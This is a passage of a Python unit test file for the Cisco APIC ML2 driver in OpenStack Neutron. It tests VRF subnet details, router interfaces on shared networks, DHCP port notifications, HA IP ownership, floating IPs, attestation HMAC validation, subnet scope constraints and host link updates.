self.assertEqual(mocked.APIC_TENANT, details['l3_policy_id']) self.assertEqual(self._tenant(vrf=True), details['vrf_tenant']) self.assertEqual(self._network_vrf_name(), details['vrf_name']) self.assertEqual(['192.168.4.0/24', '192.168.96.0/24', '192.168.98.0/24'], details['vrf_subnets']) else: if self.driver.per_tenant_context: self.assertEqual(mocked.APIC_TENANT, details['l3_policy_id']) else: self.assertEqual('%s-shared' % self._tenant(vrf=True), details['l3_policy_id']) self.assertEqual(self._tenant(vrf=True), details['vrf_tenant']) self.assertEqual(self._network_vrf_name(), details['vrf_name']) self.assertEqual(['192.168.0.0/24', '192.168.2.0/24', '192.168.4.0/24', '192.168.6.0/24', '192.168.8.0/24', '192.168.96.0/24', '192.168.98.0/24'], details['vrf_subnets']) with self.port(subnet=sub, tenant_id=mocked.APIC_TENANT) as p1: p1 = p1['port'] self._bind_port_to_host(p1['id'], 'h1') details = self._get_gbp_details(p1['id'], 'h1') if self.driver.per_tenant_context and vrf_per_router: self.assertEqual('router:%s' % router['id'], details['l3_policy_id']) self.assertEqual(self._tenant(vrf=True), details['vrf_tenant']) self.assertEqual( self._routed_network_vrf_name(router=router['id']), details['vrf_name']) self.assertEqual(['192.168.0.0/24', '192.168.2.0/24', '192.168.6.0/24', '192.168.8.0/24', '192.168.96.0/24', '192.168.98.0/24'], details['vrf_subnets']) else: if self.driver.per_tenant_context: self.assertEqual(mocked.APIC_TENANT, details['l3_policy_id']) else: self.assertEqual('%s-shared' % self._tenant(vrf=True), details['l3_policy_id']) self.assertEqual(self._tenant(vrf=True), details['vrf_tenant']) self.assertEqual(self._network_vrf_name(), details['vrf_name']) self.assertEqual(['192.168.0.0/24', '192.168.2.0/24', '192.168.4.0/24', '192.168.6.0/24', '192.168.8.0/24', '192.168.96.0/24', '192.168.98.0/24'], details['vrf_subnets']) # remove the router interface self.l3_plugin.remove_router_interface( context.get_admin_context(), router['id'], {'subnet_id': sub3['subnet']['id']}) details = self._get_gbp_details(p1['id'], 'h1') if self.driver.per_tenant_context and vrf_per_router: self.assertEqual(['192.168.0.0/24', '192.168.2.0/24', '192.168.96.0/24', '192.168.98.0/24'], details['vrf_subnets']) else: self.assertEqual(['192.168.0.0/24', '192.168.2.0/24', '192.168.4.0/24', '192.168.6.0/24', '192.168.8.0/24', '192.168.96.0/24', '192.168.98.0/24'], details['vrf_subnets']) with self.port(subnet=sub2, tenant_id=mocked.APIC_TENANT) as p2: p2 = p2['port'] self._bind_port_to_host(p2['id'], 'h1') details = self._get_gbp_details(p2['id'], 'h1') if self.driver.per_tenant_context: self.assertEqual(mocked.APIC_TENANT, details['l3_policy_id']) else: self.assertEqual('%s-shared' % self._tenant(vrf=True), details['l3_policy_id']) self.assertEqual(self._tenant(vrf=True), details['vrf_tenant']) self.assertEqual(self._network_vrf_name(), details['vrf_name']) if self.driver.per_tenant_context and vrf_per_router: self.assertEqual(['192.168.4.0/24', '192.168.6.0/24', '192.168.8.0/24', '192.168.96.0/24', '192.168.98.0/24'], details['vrf_subnets']) else: self.assertEqual(['192.168.0.0/24', '192.168.2.0/24', '192.168.4.0/24', '192.168.6.0/24', '192.168.8.0/24', '192.168.96.0/24', '192.168.98.0/24'], details['vrf_subnets']) def test_vrf_details(self): self._test_vrf_details() def test_vrf_details_vrf_per_router(self): self.driver.vrf_per_router_tenants.append(mocked.APIC_TENANT) self._test_vrf_details(vrf_per_router=True) def test_add_router_interface_on_shared_net_by_port(self): net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) router = self.create_router(api=self.ext_api, expected_res_status=201)['router'] with self.port(subnet=sub, tenant_id='anothertenant') as p1: self.mgr.add_router_interface = mock.Mock() self.l3_plugin.add_router_interface( context.get_admin_context(), router['id'], {'port_id': p1['port']['id']}) self.mgr.add_router_interface.assert_called_once_with( self._tenant(neutron_tenant='onetenant'), self._scoped_name( router['id'], tenant=TEST_TENANT), net['id'], app_profile_name=self._app_profile(neutron_tenant='onetenant')) self.mgr.remove_router_interface = mock.Mock() # Test removal self.l3_plugin.remove_router_interface( context.get_admin_context(), router['id'], {'port_id': p1['port']['id']}) self.mgr.remove_router_interface.assert_called_once_with( self._tenant(neutron_tenant='onetenant'), self._scoped_name(router['id'], tenant=TEST_TENANT), net['id'], app_profile_name=self._app_profile(neutron_tenant='onetenant')) def test_add_router_interface_on_shared_net_by_subnet(self): net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True, tenant_id='anothertenant')['subnet'] router = self.create_router(api=self.ext_api, expected_res_status=201)['router'] self.mgr.add_router_interface = mock.Mock() self.l3_plugin.add_router_interface( context.get_admin_context(), router['id'], {'subnet_id': sub['id']}) self.mgr.add_router_interface.assert_called_once_with( self._tenant(neutron_tenant='onetenant'), self._scoped_name(router['id'], tenant=TEST_TENANT), net['id'], app_profile_name=self._app_profile(neutron_tenant='onetenant')) self.mgr.remove_router_interface = mock.Mock() # Test removal self.l3_plugin.remove_router_interface( context.get_admin_context(), router['id'], {'subnet_id': sub['id']}) self.mgr.remove_router_interface.assert_called_once_with( self._tenant(neutron_tenant='onetenant'), self._scoped_name(router['id'], tenant=TEST_TENANT), net['id'], app_profile_name=self._app_profile(neutron_tenant='onetenant')) def test_sync_on_demand(self): self.synchronizer.reset_mock() self.create_network(name=acst.APIC_SYNC_NETWORK, is_admin_context=True) self.assertTrue(self.synchronizer._sync_base.called) def test_sync_on_demand_no_admin(self): self.synchronizer.reset_mock() self.create_network(name=acst.APIC_SYNC_NETWORK) self.assertFalse(self.synchronizer._sync_base.called) def test_sync_on_demand_not(self): self.synchronizer.reset_mock() self.create_network(name='some_name', is_admin_context=True, expected_res_status=201) self.assertFalse(self.synchronizer._sync_base.called) def test_attestation(self): self._register_agent('h1') net = self.create_network( tenant_id='onetenant', expected_res_status=201)['network'] expected_attestation = {'ports': [{'switch': '102', 'port': 'eth4/23'}], 'policy-space-name': self._tenant( neutron_tenant='onetenant'), 'endpoint-group-name': ( self._app_profile( neutron_tenant='onetenant') + '|' + net['id'])} sub = self.create_subnet( tenant_id='onetenant', network_id=net['id'], cidr='192.168.0.0/24', ip_version=4) self.driver.apic_manager.get_switch_and_port_for_host = mock.Mock( return_value=[('102', 'eth4/23')]) with self.port(subnet=sub, tenant_id='onetenant') as p1: p1 = p1['port'] self._bind_port_to_host(p1['id'], 'h1') self.driver._add_ip_mapping_details = mock.Mock() # Mock switch, module and port for host details = self._get_gbp_details(p1['id'], 'h1') # Test attestation exists self.assertTrue('attestation' in details) self.assertEqual(1, len(details['attestation'])) observed_attestation = base64.b64decode( details['attestation'][0]['validator']) # It's a json string observed_attestation_copy = observed_attestation # Unmarshal observed_attestation = json.loads(observed_attestation) del observed_attestation['timestamp'] del observed_attestation['validity'] self.assertEqual(expected_attestation, observed_attestation) self.assertEqual(details['attestation'][0]['name'], p1['id']) # Validate decrypting observed_mac = base64.b64decode( details['attestation'][0]['validator-mac']) expected_mac = hmac.new( 'dirtylittlesecret', msg=observed_attestation_copy, digestmod=hashlib.sha256).digest() # Validation succeeded self.assertEqual(expected_mac, observed_mac) def test_dhcp_notifications_on_create(self): self._register_agent('h1') net = self.create_network( expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) with self.port(subnet=sub) as p1: self._bind_port_to_host(p1['port']['id'], 'h1') with self.port(subnet=sub) as p2: self._bind_port_to_host(p2['port']['id'], 'h1') self.driver.notifier.reset_mock() with self.port(subnet=sub, device_owner="network:dhcp"): self.assertEqual( 2, self.driver.notifier.port_update.call_count) p1 = self.show_port(p1['port']['id'], is_admin_context=True)['port'] p2 = self.show_port(p2['port']['id'], is_admin_context=True)['port'] expected_calls = [ mock.call(mock.ANY, p1), mock.call(mock.ANY, p2)] self._check_call_list( expected_calls, self.driver.notifier.port_update.call_args_list) def test_dhcp_notifications_on_update(self): self._register_agent('h1') net = self.create_network( expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) sub2 = self.create_subnet( network_id=net['id'], cidr='192.168.1.0/24', ip_version=4, is_admin_context=True) with self.port(subnet=sub) as p1: # Force port on a specific subnet self.update_port( p1['port']['id'], fixed_ips=[{'subnet_id': sub['subnet']['id']}], is_admin_context=True) self._bind_port_to_host(p1['port']['id'], 'h1') with self.port(subnet=sub2) as p2: # Force port on a specific subnet self.update_port( p2['port']['id'], fixed_ips=[{'subnet_id': sub2['subnet']['id']}], is_admin_context=True) self._bind_port_to_host(p2['port']['id'], 'h1') self.driver.notifier.port_update.reset_mock() with self.port(subnet=sub, device_owner="network:dhcp") as p3: # Only sub 1 notifies self.assertEqual( 1, self.driver.notifier.port_update.call_count) # Force port on a specific subnet self.update_port( p3['port']['id'], fixed_ips=[{'subnet_id': sub['subnet']['id']}], is_admin_context=True) self.driver.notifier.port_update.reset_mock() # Switch DHCP port to sub2 self.update_port( p3['port']['id'], fixed_ips=[{'subnet_id': sub2['subnet']['id']}], is_admin_context=True) self.assertEqual( 2, self.driver.notifier.port_update.call_count) p1 = self.show_port(p1['port']['id'], is_admin_context=True)['port'] p2 = self.show_port(p2['port']['id'], is_admin_context=True)['port'] expected_calls = [ mock.call(mock.ANY, p1), mock.call(mock.ANY, p2)] self._check_call_list( expected_calls, self.driver.notifier.port_update.call_args_list) def test_overlapping_ip_ownership(self): ha_handler = ha.HAIPOwnerDbMixin() net1 = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub1 = self.create_subnet( network_id=net1['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) # Create another network with the same subnet net2 = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub2 = self.create_subnet( network_id=net2['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) # Create 2 ports in each subnet, with the same IP address with self.port(subnet=sub1, fixed_ips=[{'ip_address': '192.168.0.4'}]) as p1: with self.port(subnet=sub2, fixed_ips=[{'ip_address': '192.168.0.4'}]) as p2: p1 = p1['port'] p2 = p2['port'] # Verify the two IPs are the same self.assertEqual([x['ip_address'] for x in p1['fixed_ips']], [x['ip_address'] for x in p2['fixed_ips']]) # Set P1 as owner ha_handler.update_ip_owner( {'port': p1['id'], 'ip_address_v4': '192.168.0.4'}) # Ownership is set in the DB for P1 own_p1 = ha_handler.ha_ip_handler.get_ha_ipaddresses_for_port( p1['id']) self.assertEqual(['192.168.0.4'], own_p1) # Set P2 as owner ha_handler.update_ip_owner( {'port': p2['id'], 'ip_address_v4': '192.168.0.4'}) # Ownership is set in the DB for P2 own_p2 = ha_handler.ha_ip_handler.get_ha_ipaddresses_for_port( p2['id']) self.assertEqual(['192.168.0.4'], own_p2) # P1 is still there own_p1 = ha_handler.ha_ip_handler.get_ha_ipaddresses_for_port( p1['id']) self.assertEqual(['192.168.0.4'], own_p1) # Verify number of entries is exactly 2 session = db_api.get_session() entries = session.query( ha.HAIPAddressToPortAssocation).all() self.assertEqual(2, len(entries)) def test_ip_address_owner_update(self): net = self.create_network( tenant_id=mocked.APIC_TENANT, expected_res_status=201)['network'] self.create_subnet( tenant_id=mocked.APIC_TENANT, network_id=net['id'], cidr='10.0.0.0/24', ip_version=4)['subnet'] p1 = self.create_port( network_id=net['id'], tenant_id=mocked.APIC_TENANT, device_owner='compute:', device_id='someid')['port'] p2 = self.create_port( network_id=net['id'], tenant_id=mocked.APIC_TENANT, device_owner='compute:', device_id='someid')['port'] ip_owner_info = {'port': p1['id'], 'ip_address_v4': '1.2.3.4'} self.driver.notify_port_update = mock.Mock() # set new owner self.driver.ip_address_owner_update( context.get_admin_context(), ip_owner_info=ip_owner_info, host='h1') obj = self.driver.ha_ip_handler.get_port_for_ha_ipaddress( '1.2.3.4', net['id']) self.assertEqual(p1['id'], obj['port_id']) self.driver.notify_port_update.assert_called_with(p1['id']) # update existing owner self.driver.notify_port_update.reset_mock() ip_owner_info['port'] = p2['id'] self.driver.ip_address_owner_update( context.get_admin_context(), ip_owner_info=ip_owner_info, host='h2') obj = self.driver.ha_ip_handler.get_port_for_ha_ipaddress( '1.2.3.4', net['id']) self.assertEqual(p2['id'], obj['port_id']) exp_calls = [ mock.call(p1['id']), mock.call(p2['id'])] self._check_call_list( exp_calls, self.driver.notify_port_update.call_args_list) def test_gbp_details_for_allowed_address_pair(self): self._register_agent('h1') self._register_agent('h2') net = self.create_network( tenant_id=mocked.APIC_TENANT, expected_res_status=201)['network'] sub1 = self.create_subnet( tenant_id=mocked.APIC_TENANT, network_id=net['id'], cidr='10.0.0.0/24', ip_version=4)['subnet'] sub2 = self.create_subnet( tenant_id=mocked.APIC_TENANT, network_id=net['id'], cidr='1.2.3.0/24', ip_version=4)['subnet'] allow_addr = [{'ip_address': '1.2.3.250', 'mac_address': '00:00:00:AA:AA:AA'}, {'ip_address': '1.2.3.251', 'mac_address': '00:00:00:BB:BB:BB'}] # create 2 ports with same allowed-addresses p1 = self.create_port( network_id=net['id'], tenant_id=mocked.APIC_TENANT, device_owner='compute:', device_id='someid', fixed_ips=[{'subnet_id': sub1['id']}], allowed_address_pairs=allow_addr)['port'] p2 = self.create_port( network_id=net['id'], tenant_id=mocked.APIC_TENANT, device_owner='compute:', device_id='someid', fixed_ips=[{'subnet_id': sub1['id']}], allowed_address_pairs=allow_addr)['port'] self._bind_port_to_host(p1['id'], 'h1') self._bind_port_to_host(p2['id'], 'h2') self.driver.ha_ip_handler.set_port_id_for_ha_ipaddress( p1['id'], '1.2.3.250') self.driver.ha_ip_handler.set_port_id_for_ha_ipaddress( p2['id'], '1.2.3.251') allow_addr[0]['active'] = True details = self._get_gbp_details(p1['id'], 'h1') self.assertEqual(allow_addr, details['allowed_address_pairs']) del allow_addr[0]['active'] allow_addr[1]['active'] = True details = self._get_gbp_details(p2['id'], 'h2') self.assertEqual(allow_addr, details['allowed_address_pairs']) # set allowed-address as fixed-IP of ports p3 and p4, which also have # floating-IPs. Verify that FIP is "stolen" by p1 and p2 net_ext = self.create_network( is_admin_context=True, tenant_id=mocked.APIC_TENANT, **{'router:external': 'True'})['network'] self.create_subnet( is_admin_context=True, tenant_id=mocked.APIC_TENANT, network_id=net_ext['id'], cidr='8.8.8.0/24', ip_version=4)['subnet'] p3 = self.create_port( network_id=net['id'], tenant_id=mocked.APIC_TENANT, fixed_ips=[{'subnet_id': sub2['id'], 'ip_address': '1.2.3.250'}])['port'] p4 = self.create_port( network_id=net['id'], tenant_id=mocked.APIC_TENANT, fixed_ips=[{'subnet_id': sub2['id'], 'ip_address': '1.2.3.251'}])['port'] rtr = self.create_router( api=self.ext_api, tenant_id=mocked.APIC_TENANT, external_gateway_info={'network_id': net_ext['id']})['router'] self.l3_plugin.add_router_interface( context.get_admin_context(), rtr['id'], {'subnet_id': sub2['id']}) fip1 = self.create_floatingip( tenant_id=mocked.APIC_TENANT, port_id=p3['id'], floating_network_id=net_ext['id'], api=self.ext_api)['floatingip'] fip2 = self.create_floatingip( tenant_id=mocked.APIC_TENANT, port_id=p4['id'], floating_network_id=net_ext['id'], api=self.ext_api)['floatingip'] details = self._get_gbp_details(p1['id'], 'h1') self.assertEqual(1, len(details['floating_ip'])) self.assertEqual( fip1['floating_ip_address'], details['floating_ip'][0]['floating_ip_address']) details = self._get_gbp_details(p2['id'], 'h2') self.assertEqual(1, len(details['floating_ip'])) self.assertEqual( fip2['floating_ip_address'], details['floating_ip'][0]['floating_ip_address']) # verify FIP updates: update to p3, p4 should also update p1 and p2 self.driver.notify_port_update = mock.Mock() self.driver.notify_port_update_for_fip(p3['id']) expected_calls = [ mock.call(p, mock.ANY) for p in sorted([p1['id'], p2['id'], p3['id']])] self._check_call_list( expected_calls, self.driver.notify_port_update.call_args_list) self.driver.notify_port_update.reset_mock() self.driver.notify_port_update_for_fip(p4['id']) expected_calls = [ mock.call(p, mock.ANY) for p in sorted([p1['id'], p2['id'], p4['id']])] self._check_call_list( expected_calls, self.driver.notify_port_update.call_args_list) def test_gbp_details_for_route_leak_network(self): self.driver.per_tenant_context = True self.driver.vrf_per_router_tenants.append(mocked.APIC_TENANT) self._register_agent('h1') net_route_leak = self.create_network( tenant_id=mocked.APIC_TENANT, expected_res_status=201, **{'apic:allow_route_leak': 'True'})['network'] sub_route_leak = self.create_subnet( tenant_id=mocked.APIC_TENANT, network_id=net_route_leak['id'], cidr='10.0.0.0/24', ip_version=4)['subnet'] rtr1 = self.create_router( api=self.ext_api, tenant_id=mocked.APIC_TENANT)['router'] self.l3_plugin.add_router_interface( context.get_admin_context(), rtr1['id'], {'subnet_id': sub_route_leak['id']}) p1 = self.create_port( network_id=net_route_leak['id'], tenant_id=mocked.APIC_TENANT, device_owner='compute:', device_id='someid', fixed_ips=[{'subnet_id': sub_route_leak['id'], 'ip_address': '10.0.0.10'}])['port'] self._bind_port_to_host(p1['id'], 'h1') rtr2 = self.create_router( api=self.ext_api, tenant_id=mocked.APIC_TENANT)['router'] p2 = self.create_port( network_id=net_route_leak['id'], tenant_id=mocked.APIC_TENANT, device_owner='network:router_interface', fixed_ips=[{'subnet_id': sub_route_leak['id'], 'ip_address': '10.0.0.2'}])['port'] self.l3_plugin.add_router_interface( context.get_admin_context(), rtr2['id'], {'port_id': p2['id']}) # use_routing_context router rtr3 = self.create_router( api=self.ext_api, tenant_id=mocked.APIC_TENANT, **{'apic:use_routing_context': rtr1['id']})['router'] p3 = self.create_port( network_id=net_route_leak['id'], tenant_id=mocked.APIC_TENANT, device_owner='network:router_interface', fixed_ips=[{'subnet_id': sub_route_leak['id'], 'ip_address': '10.0.0.3'}])['port'] self.l3_plugin.add_router_interface( context.get_admin_context(), rtr3['id'], {'port_id': p3['id']}) details = self._get_gbp_details(p1['id'], 'h1') self.assertEqual(2, len(details['floating_ip'])) self.assertEqual('10.0.0.10', details['floating_ip'][0]['fixed_ip_address']) self.assertEqual('10.0.0.10', details['floating_ip'][0]['floating_ip_address']) self.assertEqual(self._tenant(), details['floating_ip'][0]['nat_epg_tenant']) self.assertEqual(self._app_profile(), details['floating_ip'][0]['nat_epg_app_profile']) leak_epg_name = 'Leak-%s-%s' % (rtr1['id'], net_route_leak['id']) self.assertEqual(leak_epg_name, details['floating_ip'][0]['nat_epg_name']) self.assertEqual('10.0.0.10', details['floating_ip'][1]['fixed_ip_address']) self.assertEqual('10.0.0.10', details['floating_ip'][1]['floating_ip_address']) self.assertEqual(self._tenant(), details['floating_ip'][1]['nat_epg_tenant']) self.assertEqual(self._app_profile(), details['floating_ip'][1]['nat_epg_app_profile']) leak_epg_name = 'Leak-%s-%s' % (rtr2['id'], net_route_leak['id']) self.assertEqual(leak_epg_name, details['floating_ip'][1]['nat_epg_name']) def test_notify_router_interface_update(self): exc = driver.InterTenantRouterInterfaceNotAllowedOnPerTenantContext net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) router = self.create_router(api=self.ext_api, expected_res_status=201)['router'] self._register_agent('h1') with self.port(subnet=sub, tenant_id='anothertenant', device_owner='network:router_interface') as p1: with self.port(subnet=sub, tenant_id='anothertenant') as p2: self._bind_port_to_host(p2['port']['id'], 'h1') self.mgr.add_router_interface = mock.Mock() if self.driver.per_tenant_context: self.assertRaises( exc, self.l3_plugin.add_router_interface, context.get_admin_context(), router['id'], {'port_id': p1['port']['id']} ) else: self.l3_plugin.add_router_interface( context.get_admin_context(), router['id'], {'port_id': p1['port']['id']}) self.assertEqual(n_constants.DEVICE_OWNER_ROUTER_INTF, p1['port']['device_owner']) self.driver.notifier.port_update = mock.Mock() self.driver._notify_ports_due_to_router_update(p1['port']) self.assertEqual( 1, self.driver.notifier.port_update.call_count) self.assertEqual( p2['port']['id'], self.driver.notifier.port_update.call_args_list[ 0][0][1]['id']) def test_create_reserved_name(self): net = self.create_network( tenant_id='onetenant', name=acst.APIC_SYNC_NETWORK, expected_res_status=201) self.assertEqual({}, net['network']) # Net shouldn't exist nets = self.driver.db_plugin.get_networks( context.get_admin_context(), filters={'name': [acst.APIC_SYNC_NETWORK]}) self.assertEqual(0, len(nets)) def test_request_endpoint_details(self): net = self.create_network(expected_res_status=201)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4) self._register_agent('h1') with self.port(subnet=sub) as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) # Bind port to trigger path binding self._bind_port_to_host(p1['id'], 'h1') self.driver._add_ip_mapping_details = mock.Mock() details = self._get_gbp_details(p1['id'], 'h1') request = self._request_endpoint_details(p1['id'], 'h1') details.pop('attestation', None) request['gbp_details'].pop('attestation', None) self.assertEqual(details, request['gbp_details']) self.assertEqual(p1['id'], request['neutron_details']['port_id']) def test_request_endpoint_details_not_found(self): self.driver._add_ip_mapping_details = mock.Mock() request = self._request_endpoint_details('randomid', 'h1') # Port not found self.assertEqual({'device': 'tap%s' % 'randomid'}, request['gbp_details']) self.assertTrue('port_id' not in request['neutron_details']) def test_request_endpoint_details_exception(self): net = self.create_network(expected_res_status=201)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4) self._register_agent('h1') with self.port(subnet=sub) as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) # Bind port to trigger path binding self._bind_port_to_host(p1['id'], 'h1') self.driver._add_ip_mapping_details = mock.Mock( side_effect=Exception) request = self._request_endpoint_details(p1['id'], 'h1') self.assertIsNone(request) def test_snat_port_ip_loss(self): self._register_agent('h1') admin_ctx = context.get_admin_context() self._mock_external_dict([('supported', '192.168.0.2/24')]) self.driver.apic_manager.ext_net_dict[ 'supported']['host_pool_cidr'] = '192.168.200.1/24' # Create external network net_ext = self.create_network( is_admin_context=True, tenant_id=mocked.APIC_TENANT, name='supported', **{'router:external': 'True'})['network'] self.create_subnet( is_admin_context=True, tenant_id=mocked.APIC_TENANT, network_id=net_ext['id'], cidr='8.8.8.0/24', ip_version=4) # Create internal network net = self.create_network( tenant_id=mocked.APIC_TENANT, expected_res_status=201)['network'] sub = self.create_subnet( tenant_id=mocked.APIC_TENANT, network_id=net['id'], cidr='10.0.0.0/24', ip_version=4)['subnet'] # Attach router to them rtr = self.create_router( api=self.ext_api, tenant_id=mocked.APIC_TENANT, external_gateway_info={'network_id': net_ext['id']})['router'] self.l3_plugin.add_router_interface( context.get_admin_context(), rtr['id'], {'subnet_id': sub['id']}) # Create port on internal subnet p = self.create_port( network_id=net['id'], tenant_id=mocked.APIC_TENANT, device_owner='compute:', device_id='someid', fixed_ips=[{'subnet_id': sub['id']}])['port'] self._bind_port_to_host(p['id'], 'h1') # Request gbp details mapping = self._get_gbp_details(p['id'], 'h1') self.assertEqual(1, len(mapping['host_snat_ips'])) snat_ports = self.driver.db_plugin.get_ports( admin_ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'device_id': ['h1']}) # Delete Fixed IPs self.driver.db_plugin.update_port( admin_ctx, snat_ports[0]['id'], {'port': {'fixed_ips': []}}) # Re run mapping = self._get_gbp_details(p['id'], 'h1') self.assertEqual(1, len(mapping['host_snat_ips'])) snat_ports_2 = self.driver.db_plugin.get_ports( admin_ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'device_id': ['h1']}) self.assertEqual(1, len(snat_ports)) self.assertEqual(1, len(snat_ports_2)) self.assertNotEqual(snat_ports[0]['id'], snat_ports_2[0]['id']) class TestCiscoApicML2SubnetScope(ApicML2IntegratedTestCase): def setUp(self, service_plugins=None): with tempfile.NamedTemporaryFile(delete=False) as fd: self.cons_file_name = fd.name self.override_conf('network_constraints_filename', self.cons_file_name, 'ml2_cisco_apic') super(TestCiscoApicML2SubnetScope, self).setUp(service_plugins) def test_subnet_scope(self): cons_data = """ [DEFAULT] subnet_scope = deny [%s/net1] public = 10.10.10.1/24,10.10.20.1/24 private = 20.10.10.0/28,20.10.20.0/24 deny = 30.10.10.0/24 default = private """ % (mocked.APIC_TENANT) self.driver.net_cons.source.last_refresh_time = 0 with open(self.cons_file_name, 'w') as fd: fd.write(cons_data) self.mgr.ensure_subnet_created_on_apic = mock.Mock() self.driver.name_mapper.aci_mapper.min_suffix = 0 net1 = self.create_network( name='net1', tenant_id=mocked.APIC_TENANT, expected_res_status=201)['network'] net2 = self.create_network( name='net2', tenant_id=mocked.APIC_TENANT, expected_res_status=201)['network'] for cidr in ['10.10.10.0/28', '20.10.10.0/26', '40.10.10.0/30']: self.create_subnet( tenant_id=mocked.APIC_TENANT, network_id=net1['id'], cidr=cidr, ip_version=4) exp_calls = [ mock.call( self._tenant(), self._scoped_name('net1'), '10.10.10.1/28', scope='public'), mock.call( self._tenant(), self._scoped_name('net1'), '20.10.10.1/26', scope='private'), mock.call( self._tenant(), self._scoped_name('net1'), '40.10.10.1/30', scope='private')] self._check_call_list( exp_calls, self.mgr.ensure_subnet_created_on_apic.call_args_list) res = self.create_subnet( tenant_id=mocked.APIC_TENANT, network_id=net1['id'], cidr='30.10.10.0/24', ip_version=4, expected_res_status=500) self.assertEqual('HTTPInternalServerError', res['NeutronError']['type']) res = self.create_subnet( tenant_id=mocked.APIC_TENANT, network_id=net2['id'], cidr='10.10.10.0/24', ip_version=4, expected_res_status=500) self.assertEqual('HTTPInternalServerError', res['NeutronError']['type']) class MechanismRpcTestCase(ApicML2IntegratedTestBase): def test_rpc_endpoint_set(self): self.assertEqual(1, len(self.driver.topology_endpoints)) rpc = self.driver.topology_endpoints[0] self.assertIsInstance(rpc, mech_rpc.ApicTopologyRpcCallbackMechanism) def test_peers_loaded(self): # Verify static configured hosts in rpc peers self._add_hosts_to_apic(2) peers = self.rpc._load_peers() self.assertIn(('h1', 'static'), peers) self.assertIn(('h2', 'static'), peers) def test_remove_hostlink(self): self._register_agent('h1') self._register_agent('h2') # Test removal of one link self._add_hosts_to_apic(3) self.driver.apic_manager.delete_path = mock.Mock() net = self.create_network()['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4) # Create two ports with self.port(subnet=sub) as p1: with self.port(subnet=sub) as p2: self._bind_port_to_host(p1['port']['id'], 'h1') self._bind_port_to_host(p2['port']['id'], 'h2') # Remove H1 interface from ACI self.rpc.update_link(mock.Mock(), 'h1', 'static', None, 0, '1', '1') # Assert H1 on net vlan static paths deleted (self.driver.apic_manager.delete_path. assert_called_once_with(self._tenant_id, net['id'], '1', '1', '1')) self.driver.apic_manager.delete_path.reset_mock() # Unbound self.rpc.update_link(mock.Mock(), 'h3', 'static', None, 0, '1', '3') self.assertEqual( 0, self.driver.apic_manager.delete_path.call_count) def test_remove_hostlink_vpc(self): self._register_agent('h1') self._add_hosts_to_apic(3, vpc=True) self.driver.apic_manager.delete_path = mock.Mock() net = self.create_network()['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4) # Create two ports with self.port(subnet=sub) as p1: self._bind_port_to_host(p1['port']['id'], 'h1') # Remove H1 interface from ACI self.rpc.update_link(mock.Mock(), 'h1', 'eth0', None, 0, '1', '1') # Another link still exists self.assertEqual( 0, self.driver.apic_manager.delete_path.call_count) self.driver.apic_manager.delete_path.reset_mock() self.rpc.update_link(mock.Mock(), 'h1', 'eth1', None, 0, '2', '1') (self.driver.apic_manager.delete_path. assert_called_once_with(self._tenant_id, net['id'], '2', '1', '1')) def test_add_hostlink(self): self._register_agent('h1') self._register_agent('h2') self._register_agent('rhel03') # Test removal of one link self._add_hosts_to_apic(2) net = self.create_network()['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4) # Create two ports with self.port(subnet=sub) as p1: with self.port(subnet=sub) as p2: with self.port(subnet=sub) as p3: self._bind_port_to_host(p1['port']['id'], 'h1') self._bind_port_to_host(p2['port']['id'], 'h2') self._bind_port_to_host(p3['port']['id'], 'rhel03') self.driver.apic_manager.ensure_path_created_for_port = ( mock.Mock()) # Add H3 interface from ACI self.rpc.update_link( mock.Mock(), 'h3', 'static', None, '3', '1', '3') # No path created since no port is bound on H3 self.assertEqual( 0, self.driver.apic_manager.ensure_path_created_for_port. call_count) (self.driver.apic_manager.ensure_path_created_for_port. reset_mock()) # Add H4 interface from ACI self.rpc.update_link( mock.Mock(), 'rhel03', 'static', None, '4', '1', '4') # P3 was bound in H4 net = self.show_network(net['id'], is_admin_context=True)['network'] (self.driver.apic_manager.ensure_path_created_for_port. assert_called_once_with( self._tenant_id, net['id'], 'rhel03', net['provider:segmentation_id'])) def test_update_hostlink(self): self._register_agent('h1') self._add_hosts_to_apic(1) net1 = self.create_network()['network'] sub1 = self.create_subnet( network_id=net1['id'], cidr='192.168.0.0/24', ip_version=4) net2 = self.create_network()['network'] sub2 = self.create_subnet( network_id=net2['id'], cidr='192.168.1.0/24', ip_version=4) # Create two ports with self.port(subnet=sub1) as p1: with self.port(subnet=sub1) as p2: with self.port(subnet=sub2) as p3: # Bind all on H1 self._bind_port_to_host(p1['port']['id'], 'h1') self._bind_port_to_host(p2['port']['id'], 'h1') self._bind_port_to_host(p3['port']['id'], 'h1') mgr = self.driver.apic_manager mgr.delete_path = mock.Mock() mgr.ensure_path_created_for_port = mock.Mock() # Change host interface self.rpc.update_link( mock.Mock(), 'h1', 'static', None, '1', '1', '24') # Ports' path have been deleted and reissued two times (one # for network) expected_calls_remove = [ mock.call(self._tenant_id, net1['id'], '1', 